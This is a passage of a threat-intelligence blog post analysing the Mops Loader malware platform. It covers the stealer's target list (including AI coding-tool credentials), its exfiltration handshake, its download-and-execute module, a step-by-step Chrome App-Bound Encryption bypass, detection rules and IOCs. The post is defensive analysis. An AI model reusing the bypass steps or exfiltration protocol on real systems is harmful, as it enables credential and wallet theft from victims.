      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">GET /task/Stealer HTTP/1.1
</span></span><span class="line"><span class="cl">Host: &lt;c2&gt;
</span></span><span class="line"><span class="cl">User-Agent: &lt;bot_id&gt;
</span></span><span class="line"><span class="cl">Connection: close</span></span></code></pre></div>
</div>
<p>A special parameter, <code>update</code>, makes the loader acknowledge the task, clear its critical-process state and
exit, leaving room for a freshly delivered build (see the update module below).</p>
<h3 id="what-the-live-c2-actually-does">What the live C2 actually does<a class="heading-anchor" href="#what-the-live-c2-actually-does" aria-label="Link to this section">#</a></h3>
<p>To see the operator side, I wrote an emulated bot that speaks the protocol above, never executes anything,
and only saves the downloaded modules to disk. It was connected over Tor to the hardcoded server and to two
other servers of the same infrastructure. Some observations differ from what the static analysis suggested:</p>
<ul>
<li>the C2 sends <code>getinfo</code> first, then a <code>ping</code> keepalive every 15 seconds;</li>
<li>in real traffic, the module type is a <strong>positional</strong> field right after the command:
<code>task;createtask;Stealer;task_id;x55oh5_tyf7;version;1.0.3</code>;</li>
<li>task identifiers are random 11-character tokens (<code>[a-z0-9_]</code>), not counters. Yet the hardcoded C2 sent
<strong>the same</strong> <code>task_id</code> to every bot I connected, whatever its bot identifier: it is a campaign-wide
&ldquo;autorun&rdquo; task, not an order targeting a specific victim;</li>
<li>the server validates nothing: a bot announcing version <code>2.0.0</code>, or sending a junk campaign identifier,
receives the same task and can download the module;</li>
<li>the task <code>version</code> is the <strong>module</strong> version, independent of the loader build (<code>1.0.0</code>). Two stealer builds
were served: <code>1.0.3</code> by the hardcoded C2, <code>1.0.2</code> by another server;</li>
<li>one server (<code>188.137.246.]156</code>) answered and kept the session alive, but never sent any task;</li>
<li>the <code>checkserver</code> probe is always answered with the same 8 bytes, <code>jhkaloip</code>, on every server tested.</li>
</ul>
<p>This is the classic behaviour of a pay-per-install style platform: as soon as a new bot checks in, the
first task is to run the stealer.</p>
<h4 id="fingerprinting-the-servers">Fingerprinting the servers<a class="heading-anchor" href="#fingerprinting-the-servers" aria-label="Link to this section">#</a></h4>
<p>The constant <code>checkserver</code> answer, combined with the static WebSocket key, makes the C2 trivial to
fingerprint: send the RFC 6455 sample key on port 406, then <code>checkserver;&lt;8 hex&gt;;&lt;16 chars&gt;</code>, and check
whether the answer is <code>jhkaloip</code>. An Internet-wide search (Censys, October 2026) returned four hosts: the
three already known and one more in the same /24 as the hardcoded C2 (<code>45.91.202.]47</code>).</p>
<h2 id="next-stage-the-modules">Next stage: the modules<a class="heading-anchor" href="#next-stage-the-modules" aria-label="Link to this section">#</a></h2>
<p>Mops is not a stealer with a loader bolted on: the loader is module-agnostic, and the operator decides what
each bot runs. In the observed campaigns, the decision is always the same for a new bot: the C2 hands out a
single, campaign-wide <code>createtask Stealer</code> order (the same <code>task_id</code> for every bot), so the stealer runs
first, everywhere. The second module, which can update the loader or deploy any executable, is what turns a
stolen-data harvest into a foothold that can be resold or reused; none of my emulated bots received such a
task, which is expected for bots that have nothing interesting to steal.</p>
<p>Both recovered modules follow the same contract, which says a lot about how the platform is built:</p>
<ul>
<li>they are DLLs whose <code>DllMain</code> <strong>refuses to run outside a Mops host</strong>: they exit unless the loader&rsquo;s mutex
(<code>Global\RuntimeBrokerAds</code>) already exists, then take their own mutex (<code>Global\StealerLib</code>,
<code>Global\LoaderLib</code>). Run on its own, without the loader&rsquo;s mutex, a module simply exits;</li>
<li>the work is done in a new thread; the task parameter comes either from the injected context or from an
<code>INJECT_PARAM</code> environment variable;</li>
<li>they compute the bot identifier exactly like the loader (<code>C:\</code> volume serial), so whatever they send back
can be correlated with the bot on the operator side.</li>
</ul>
<h3 id="the-mops-stealer--stealer-module">The Mops stealer (<code>Stealer</code> module)<a class="heading-anchor" href="#the-mops-stealer--stealer-module" aria-label="Link to this section">#</a></h3>
<p>The <code>Stealer</code> module is a C++ DLL. Two builds were recovered from the live servers, and they do not even
agree on their own name: the first line of their system report is the developer&rsquo;s banner.</p>
<table>
<thead>
<tr>
<th>Module version</th>
<th>Size</th>
<th>Banner in <code>System.txt</code></th>
<th>Exfiltration server</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>1.0.2</code></td>
<td>1.4 MB</td>
<td><code>- Redhive Stealer:</code> (<code>11.05.2026</code>)</td>
<td><code>145.63.134.]94:1488</code></td>
</tr>
<tr>
<td><code>1.0.3</code></td>
<td>1.1 MB</td>
<td><code>- Mops Stealer V3: 08.09.2026</code></td>
<td><code>45.91.202.]146:1488</code></td>
</tr>
</tbody>
</table>
<p>Both have the same task list and the same exfiltration protocol: between the two builds, the developer
renamed the module from <strong>Redhive Stealer</strong> to <strong>Mops Stealer V3</strong>, after the loader. Build <code>1.0.2</code> is the one
winslow documented under the Redhive name after being infected through a fake GitHub repository
(<a href="https://winslow1984.com/books/threat-intelligence/page/hey-you-hacked-a-hacker-are-you-ready-for-my-revenge" rel="noopener" class="ext">Hey, You Hacked a Hacker! Are You Ready For My Revenge?</a>); the SHA-256 given there matches the one listed
in the IOCs below. From here on I will simply call it the Mops stealer. Its entry point enables <code>SeDebugPrivilege</code> and
<code>SeImpersonatePrivilege</code>, then starts <strong>49 named tasks, each in its own thread</strong>, and waits for all of them:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Tasks / targets</th>
</tr>
</thead>
<tbody>
<tr>
<td>System</td>
<td>screenshots (GDI + GDI+ JPEG), clipboard, process list, installed software, Windows product key, system report</td>
</tr>
<tr>
<td>Browsers</td>
<td>passwords, cookies, autofill, installed browsers: about 60 Chromium-based browsers, Firefox and its forks, Tor Browser</td>
</tr>
<tr>
<td>Chrome ABE</td>
<td><code>EncryptKey</code> and <code>AppBoundKey</code> tasks (see below)</td>
</tr>
<tr>
<td>Crypto</td>
<td>dozens of desktop wallets (Exodus, Electrum, Atomic, Ledger Live, Monero, Wasabi&hellip;) and wallet extensions (MetaMask, Phantom, Trust, OKX&hellip;)</td>
</tr>
<tr>
<td>2FA / passwords</td>
<td>Google Authenticator, Authy, Microsoft Authenticator, Bitwarden, KeePassXC, LastPass, NordPass&hellip; extensions</td>
</tr>
<tr>
<td>Messaging</td>
<td>Telegram (desktop, web sessions, wallets), Discord tokens, Tox, Jabber (Pidgin), Viber, MicroSIP</td>
</tr>
<tr>
<td>Gaming</td>
<td>Steam (tokens, cookies), Battle.net, Epic Games, Riot Games, Rockstar / GTA V, GTA5RP, Roblox, Minecraft clients, EXBO</td>
</tr>
<tr>
<td>Remote access, ops</td>
<td>AnyDesk, ngrok, FileZilla, Cyberduck, DynDNS, OBS stream keys</td>
</tr>
<tr>
<td>VPN</td>
<td>OpenVPN, ProtonVPN, Surfshark, Windscribe</td>
</tr>
<tr>
<td>AI coding tools</td>
<td>Claude Code, Codex, Gemini CLI configuration and credentials</td>
</tr>
<tr>
<td>Files</td>
<td><code>.txt</code>, <code>.pdf</code>, <code>.doc(x)</code>, images: 5 MB per file, 20 MB in total, into <code>Important Files/</code></td>
</tr>
</tbody>
</table>
<h4 id="getting-around-chrome-app-bound-encryption">Getting around Chrome App-Bound Encryption<a class="heading-anchor" href="#getting-around-chrome-app-bound-encryption" aria-label="Link to this section">#</a></h4>
<p>Since Chrome 127, cookies are protected by <em>App-Bound Encryption</em>.</p>
<p><label for="sn-7" class="sidenote-ref" aria-label="Show side note"></label><input type="checkbox" id="sn-7" class="sidenote-toggle"><span class="sidenote" role="note">Google Security Blog, July 2024: <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" rel="noopener" class="ext">Improving the security of Chrome cookies on Windows</a>.</span></p>
<p>The cookie key is wrapped twice, with the user DPAPI and then with the SYSTEM DPAPI on top, and is supposed
to be unwrapped only by Chrome&rsquo;s elevation service. The stealer bypasses the service and does the work itself:</p>
<ol>
<li>read <code>app_bound_encrypted_key</code> from the browser&rsquo;s <code>Local State</code>;</li>
<li>find <code>winlogon.exe</code>, duplicate its token and impersonate it: the thread is now SYSTEM;</li>
<li><code>CryptUnprotectData</code> (SYSTEM DPAPI layer), <code>RevertToSelf</code>, <code>CryptUnprotectData</code> again (user layer);</li>
<li>for the newest key format (a 93-byte blob whose first byte is <code>3</code>), impersonate SYSTEM again and decrypt
the inner key with the CNG key <strong><code>Google Chromekey1</code></strong> of the <em>Microsoft Software Key Storage Provider</em>
(<code>NCryptOpenKey</code> / <code>NCryptDecrypt</code>, 32-byte output);</li>
<li>store the result as <code>&lt;browser&gt;_AppBoundKey</code> and use it to decrypt the App-Bound protected cookies.</li>
</ol>
<p>This requires administrative rights to open <code>winlogon.exe</code>&rsquo;s token, which the loader already obtained
through its UAC bypass: the loader and the module are clearly designed to work together.</p>
<h4 id="ai-coding-assistants">AI coding assistants<a class="heading-anchor" href="#ai-coding-assistants" aria-label="Link to this section">#</a></h4>
<p>A recent addition to the usual stealer target list: three tasks collect the local configuration of AI
coding agents, which frequently holds API keys or OAuth tokens:</p>
<table>
<thead>
<tr>
<th>Task</th>
<th>Files</th>
</tr>
</thead>
<tbody>
<tr>
<td>ClaudeCode</td>
<td><code>%USERPROFILE%\.claude\settings.json</code></td>
</tr>
<tr>
<td>Codex</td>
<td><code>%USERPROFILE%\.codex\auth.json</code>, <code>config.toml</code></td>
</tr>
<tr>
<td>Gemini</td>
<td><code>%USERPROFILE%\.gemini\oauth_creds.json</code>, <code>google_accounts.json</code></td>
</tr>
</tbody>
</table>
<h4 id="exfiltration">Exfiltration<a class="heading-anchor" href="#exfiltration" aria-label="Link to this section">#</a></h4>
<p>Everything is written into a ZIP archive built in memory, organised in folders (<code>Applications/Telegram/</code>,
<code>CryptoWallets/Extensions/</code>, <code>Vpn/ProtonVPN/</code>&hellip;) next to a <code>System.txt</code> report. The report is a template
whose placeholders are filled on the server side:</p>
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">4 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">- Lid: %worker%
</span></span><span class="line"><span class="cl">- IP Address: %ip%
</span></span><span class="line"><span class="cl">- Time Save Log: %timesave%
</span></span><span class="line"><span class="cl">- Country: %country%</span></span></code></pre></div>
</div>
<p>The module even adds <code>Applications/Debug/TimesExecutions.txt</code>, a per-task timing log left by the developer.</p>
<p>The archive is not sent to the Mops C2 channel but to a dedicated listener, over raw TCP, with a minimal
handshake:</p>
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">4 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">bot  → server : &#34;stealer;&#34; + &lt;bot_id&gt; + &#34;\n&#34;
</span></span><span class="line"><span class="cl">server → bot  : &#34;auth_ok&#34;
</span></span><span class="line"><span class="cl">bot  → server : &lt;archive size, 8 bytes, big-endian&gt;
</span></span><span class="line"><span class="cl">bot  → server : &lt;ZIP archive&gt;</span></span></code></pre></div>
</div>
<p>Then the module calls <code>ExitProcess</code>: it is a one-shot collection, the loader can run it again later with a
new task. Each build embeds its own listener, always on TCP/1488 of the very server that delivered it.</p>
<h4 id="seeing-it-run">Seeing it run<a class="heading-anchor" href="#seeing-it-run" aria-label="Link to this section">#</a></h4>
<p>The <code>1.0.3</code> module was also detonated in a Triage sandbox. The network capture contains a single
interesting TCP session, to the hardcoded C2 on port 1488, which matches the protocol above byte for byte:</p>
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">4 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">stealer;8914e807\n                  ← bot identifier (C:\ volume serial)
</span></span><span class="line"><span class="cl">auth_ok\n
</span></span><span class="line"><span class="cl">00 00 00 00 00 26 24 34             ← 2,499,636 bytes, big-endian
</span></span><span class="line"><span class="cl">50 4B 03 04 ...                     ← the ZIP archive</span></span></code></pre></div>
</div>
<p>Once the stream is reassembled, the archive opens with any unzip tool. On this freshly installed sandbox it
contains 26 files: the browser databases copied as-is (<code>Chrome_Default_Passwords</code>, <code>Edge_Default_Cookies</code>,
<code>Firefox_&lt;profile&gt;_Cookies</code>&hellip;), the encryption keys (<code>Chrome_EncryptedKey</code>, <code>Edge_EncryptedKey</code> and
<code>Chrome_AppBoundKey</code>, recovered from a Chrome 140 profile), the decoy documents of the desktop in
<code>Important Files/</code>, the process list, the installed software, the screenshot and the system report:</p>
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">14 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">- Mops Stealer V3: 08.09.2026
</span></span><span class="line"><span class="cl">- Lid: %worker%
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- OS Version: Windows 10 Pro (10.0.19041) x64
</span></span><span class="line"><span class="cl">- Computer: FOOHEZMB
</span></span><span class="line"><span class="cl">- User: Admin
</span></span><span class="line"><span class="cl">- Anti Virus: Unknown
</span></span><span class="line"><span class="cl">- HWID: 8914e807
</span></span><span class="line"><span class="cl">- CPU Name: Intel Core Processor (Broadwell)
</span></span><span class="line"><span class="cl">- GPU: Microsoft Basic Render Driver
</span></span><span class="line"><span class="cl">- Display resolution: 1920x1080
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- IP Address: %ip%
</span></span><span class="line"><span class="cl">- Country: %country%</span></span></code></pre></div>
</div>
<p>The developer&rsquo;s timing log (<code>TimesExecutions.txt</code>) shows where the time goes: most tasks find nothing and
return in less than a millisecond, the system report (848 ms), the screenshot (659 ms) and the cookies
(505 ms) are the slowest. The whole collection takes less than a second.</p>
<p>Note that this sandbox profile (a Broadwell CPU and the <em>Microsoft Basic Render Driver</em>) is exactly what the
loader&rsquo;s anti-analysis checks would reject: the stealer module itself does not carry those checks.</p>
<h3 id="the-update-and-download-and-execute-module">The update and download-and-execute module<a class="heading-anchor" href="#the-update-and-download-and-execute-module" aria-label="Link to this section">#</a></h3>
<p>The second module (mutex <code>Global\LoaderLib</code>) is much smaller and gives the operator two capabilities through
its task parameter:</p>
<ul>
<li><code>update</code>: wait 6 seconds, download <code>GET /task/build</code> from the C2 module port (408) with the bot identifier
as User-Agent, overwrite <code>C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe</code> and start it. Combined with the
loader&rsquo;s own <code>update</code> handling (acknowledge and exit), this is how the operator rolls out new loader builds;</li>
<li>a <strong>URL</strong>: download the file and run it as <code>C:\ProgramData\svc_&lt;8 hex&gt;.exe</code> (the name is derived from
<code>GetTickCount() ^ 0xDEADBEEF</code>). If the URL points to the C2 itself, the file is fetched from
<code>/files?id=&lt;name&gt;</code> on port 408 instead.</li>
</ul>
<p>The downloader is basic but careful: it checks <code>Content-Length</code>, verifies that the body is a well-formed PE
(MZ, PE signature, a sane optional header) before writing it, and starts it with a hidden window. This is the
&ldquo;next payload&rdquo; channel of the platform: anything the operator wants to sell or deploy on the bot can be
pushed with a single task.</p>
<h2 id="detection-opportunities">Detection opportunities<a class="heading-anchor" href="#detection-opportunities" aria-label="Link to this section">#</a></h2>
<p>Most of these do not depend on a specific campaign:</p>
<ul>
<li><strong>Network</strong>:
<ul>
<li>a WebSocket upgrade with <code>Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==</code> to a non-standard port;</li>
<li>binary WebSocket frames starting with <code>checkserver;</code>, <code>ready;</code> or <code>task_done;</code>;</li>
<li>DNS requests matching <code>^(lav|ini){6}\.duckdns\.org$</code>;</li>
<li><code>GET /task/&lt;name&gt;</code> or <code>/files?id=</code> with an 8-hex-character User-Agent;</li>
<li>a raw TCP stream starting with <code>stealer;</code> followed by 8 hex characters, answered by <code>auth_ok</code>;</li>
<li>a WebSocket server answering exactly <code>jhkaloip</code> to <code>checkserver;</code>, which is how the C2 can be hunted;</li>
<li>DNS requests for <code>mops.to</code>.</li>
</ul>
</li>
<li><strong>Host</strong>:
<ul>
<li><code>cmd.exe</code> created suspended and without window, then written to and given a new thread by another process;</li>
<li><code>Add-MpPreference -ExclusionPath</code> chained with <code>gpupdate /force</code>;</li>
<li>scheduled tasks under <code>\Microsoft\...</code> whose action points to <code>C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe</code>;</li>
<li>large <code>REG_BINARY</code> values starting with <code>MZ</code> under <code>HKCU\Software\WinRAR\Libs</code>;</li>
<li>a non-browser process duplicating <code>winlogon.exe</code>&rsquo;s token, then opening the <code>Google Chromekey1</code> CNG key.</li>
</ul>
</li>
<li><strong>Memory</strong>: <code>amsi!AmsiOpenSession</code> starting with <code>48 31 C0</code> instead of <code>48 85 D2</code>.</li>
</ul>
<h2 id="tooling">Tooling<a class="heading-anchor" href="#tooling" aria-label="Link to this section">#</a></h2>
<p>The configuration of a Mops Loader build can be recovered statically. The extractor below first recovers
the per-build constants of the string primitive, then decrypts all the <code>.rdata</code> strings and keeps the ones
that make the configuration (C2, ports, campaign, version, install path). It relies on <code>lief</code> and never
executes the sample; it works on the three builds listed above.</p>
<ul class="downloads">
  <li>
    <a class="download" href="/files/mops/mops_config_extractor.py" download>
      <span class="download__icon"><svg class="icon icon-file-down" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z" /> <path d="M14 2v4a2 2 0 0 0 2 2h4" /> <path d="M12 18v-6" /> <path d="m9 15 3 3 3-3" /></svg></span>
      <span class="download__text">
        <span class="download__name">mops_config_extractor.py</span>
        <span class="download__meta">PY · 7 KB</span>
      </span>
      <span class="download__action"><svg class="icon icon-download" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4" /> <polyline points="7 10 12 15 17 10" /> <line x1="12" x2="12" y1="15" y2="3" /></svg></span>
    </a>
  </li>
  <li>
    <a class="download" href="/files/mops/mops_dga_domains.txt" download>
      <span class="download__icon"><svg class="icon icon-file-down" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z" /> <path d="M14 2v4a2 2 0 0 0 2 2h4" /> <path d="M12 18v-6" /> <path d="m9 15 3 3 3-3" /></svg></span>
      <span class="download__text">
        <span class="download__name">mops_dga_domains.txt</span>
        <span class="download__meta">TXT · 2 KB</span>
      </span>
      <span class="download__action"><svg class="icon icon-download" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4" /> <polyline points="7 10 12 15 17 10" /> <line x1="12" x2="12" y1="15" y2="3" /></svg></span>
    </a>
  </li>
</ul>
<div class="codeblock codeblock--plain" data-codeblock>
  <div class="codeblock__bar">
    <span class="codeblock__lang">output</span>
    <span class="codeblock__lines">13 lines</span>
    <button class="codeblock__copy" type="button" aria-label="Copy code" data-copy>
      <svg class="icon icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><rect width="14" height="14" x="8" y="8" rx="2" ry="2" /> <path d="M4 16c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2h10c1.1 0 2 .9 2 2" /></svg><svg class="icon icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M20 6 9 17l-5-5" /></svg><span data-copy-label>Copy</span>
    </button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">$ python3 mops_config_extractor.py 77afc987c83097f06bc98e45a4b7891e96017f59ab309a4744c7aee414926ad1
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">  &#34;c2&#34;: [
</span></span><span class="line"><span class="cl">    &#34;mops.to&#34;
</span></span><span class="line"><span class="cl">  ],
</span></span><span class="line"><span class="cl">  &#34;ports&#34;: [
</span></span><span class="line"><span class="cl">    &#34;406&#34;,
</span></span><span class="line"><span class="cl">    &#34;408&#34;
</span></span><span class="line"><span class="cl">  ],
</span></span><span class="line"><span class="cl">  &#34;campaign_id&#34;: &#34;5749377762&#34;,
</span></span><span class="line"><span class="cl">  &#34;version&#34;: &#34;1.0.0&#34;,
</span></span><span class="line"><span class="cl">  &#34;install_path&#34;: &#34;C:\\ProgramData\\Windows\\Microsoft\\RuntimeBrokerA.exe&#34;
</span></span><span class="line"><span class="cl">}</span></span></code></pre></div>
</div>
<p>My IDA database of the analysed loader (<code>265994409a3d…</code>, unpacked payload) is also available, with the
functions, types and comments used throughout this post (<code>c2_checkserver</code>, <code>ws_send_frame</code>,
<code>handle_task_msg</code>, <code>struct mops_task=…). It contains the sample itself, so it is shipped as a ZIP archive protected with the usual password, =infected</code>.</p>
<ul class="downloads">
  <li>
    <a class="download" href="/files/mops/mops_loader_265994409a3d.i64.zip" download>
      <span class="download__icon"><svg class="icon icon-file-down" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z" /> <path d="M14 2v4a2 2 0 0 0 2 2h4" /> <path d="M12 18v-6" /> <path d="m9 15 3 3 3-3" /></svg></span>
      <span class="download__text">
        <span class="download__name">mops_loader_265994409a3d.i64.zip</span>
        <span class="download__meta">ZIP · 3.2 MB</span>
      </span>
      <span class="download__action"><svg class="icon icon-download" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4" /> <polyline points="7 10 12 15 17 10" /> <line x1="12" x2="12" y1="15" y2="3" /></svg></span>
    </a>
  </li>
</ul>
<h2 id="indicators-of-compromise">Indicators of compromise<a class="heading-anchor" href="#indicators-of-compromise" aria-label="Link to this section">#</a></h2>
<h3 id="files">Files<a class="heading-anchor" href="#files" aria-label="Link to this section">#</a></h3>
<table>
<thead>
<tr>
<th>Component</th>
<th>SHA-256</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mops Loader, campaign 6925266445 (<a href="https://bazaar.abuse.ch/sample/265994409a3dbd511ff5bd6a6d24dea5b089d41f1dea8dcaeaabccd530ea09dd/" rel="noopener" class="ext">MalwareBazaar</a>)</td>
<td><code>265994409a3dbd511ff5bd6a6d24dea5b089d41f1dea8dcaeaabccd530ea09dd</code></td>
</tr>
<tr>
<td>Mops Loader, campaign 5749377762</td>
<td><code>77afc987c83097f06bc98e45a4b7891e96017f59ab309a4744c7aee414926ad1</code></td>
</tr>
<tr>
<td>Mops Loader, campaign 8934503551</td>
<td><code>4094bddf226fb6dd45e72ce8e5d3c3fc51c96ecef9473712aff06083445503e4</code></td>
</tr>
<tr>
<td>Mops Loader, reported by winslow</td>
<td><code>97c6e8a58c8ca86af979fa64a516a09cdc48c6dd61fc9dd027c4af715165fb66</code></td>
</tr>
<tr>
<td>Stealer module 1.0.3 (Mops Stealer V3)</td>
<td><code>3c110de70db7225573f6bd937a7704423bce6c03fad5fac3ea3fb5bacf130d50</code></td>
</tr>
<tr>
<td>Stealer module 1.0.2 (Redhive)</td>
<td><code>9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3</code></td>
</tr>
<tr>
<td>Update / download module</td>
<td><code>d7296170408581c38dc2c95f0c31f6b9bdf822b9b076d90122e679e13269a935</code></td>
</tr>
</tbody>
</table>
<h3 id="network">Network<a class="heading-anchor" href="#network" aria-label="Link to this section">#</a></h3>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>mops.]to</code></td>
<td>hardcoded C2 of the two other loader builds</td>
</tr>
<tr>
<td><code>45.91.202.]146</code></td>
<td>hardcoded C2 (TCP/406 WebSocket, TCP/408 modules), stealer 1.0.3 exfiltration on TCP/1488</td>
</tr>
<tr>
<td><code>145.63.134.]94</code></td>
<td>C2 and module server, stealer 1.0.2 exfiltration on TCP/1488</td>
</tr>
<tr>
<td><code>188.137.246.]156</code></td>
<td>C2, hardcoded in the update module (TCP/408)</td>
</tr>
<tr>
<td><code>45.91.202.]47</code></td>
<td>same C2 fingerprint (Censys), no tasking observed</td>
</tr>
<tr>
<td><code>(lav or ini){6}.duckdns.]org</code></td>
<td>64 DGA domains (full list in <code>mops_dga_domains.txt</code>)</td>
</tr>
</tbody>
</table>
<h3 id="host">Host<a class="heading-anchor" href="#host" aria-label="Link to this section">#</a></h3>
<ul>
<li><code>C:\ProgramData\Windows\Microsoft\RuntimeBroker.exe</code> or <code>RuntimeBrokerA.exe</code> (hidden, system)</li>
<li><code>C:\ProgramData\svc_&lt;8 hex&gt;.exe</code> (payloads dropped by the download module)</li>
<li>mutexes <code>Global\RuntimeBrokerAds</code> (<code>…AdsA</code> in the two other builds), <code>Global\StealerLib</code>, <code>Global\LoaderLib</code></li>
<li><code>HKCU\Software\Microsoft\EventSystem</code> value <code>System</code> (cached C2)</li>
<li><code>HKCU\Software\WinRAR\Libs</code> values <code>&lt;type&gt;_&lt;ver&gt;_chunk_&lt;n&gt;</code> (module cache)</li>
<li>the four scheduled tasks listed above</li>
<li>Defender exclusions on <code>C:\ProgramData\Windows\Microsoft</code> and <code>C:\ProgramData\Microsoft\Windows</code></li>
</ul>
<h2 id="mitre-att-and-ck">MITRE ATT&amp;CK<a class="heading-anchor" href="#mitre-att-and-ck" aria-label="Link to this section">#</a></h2>
<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
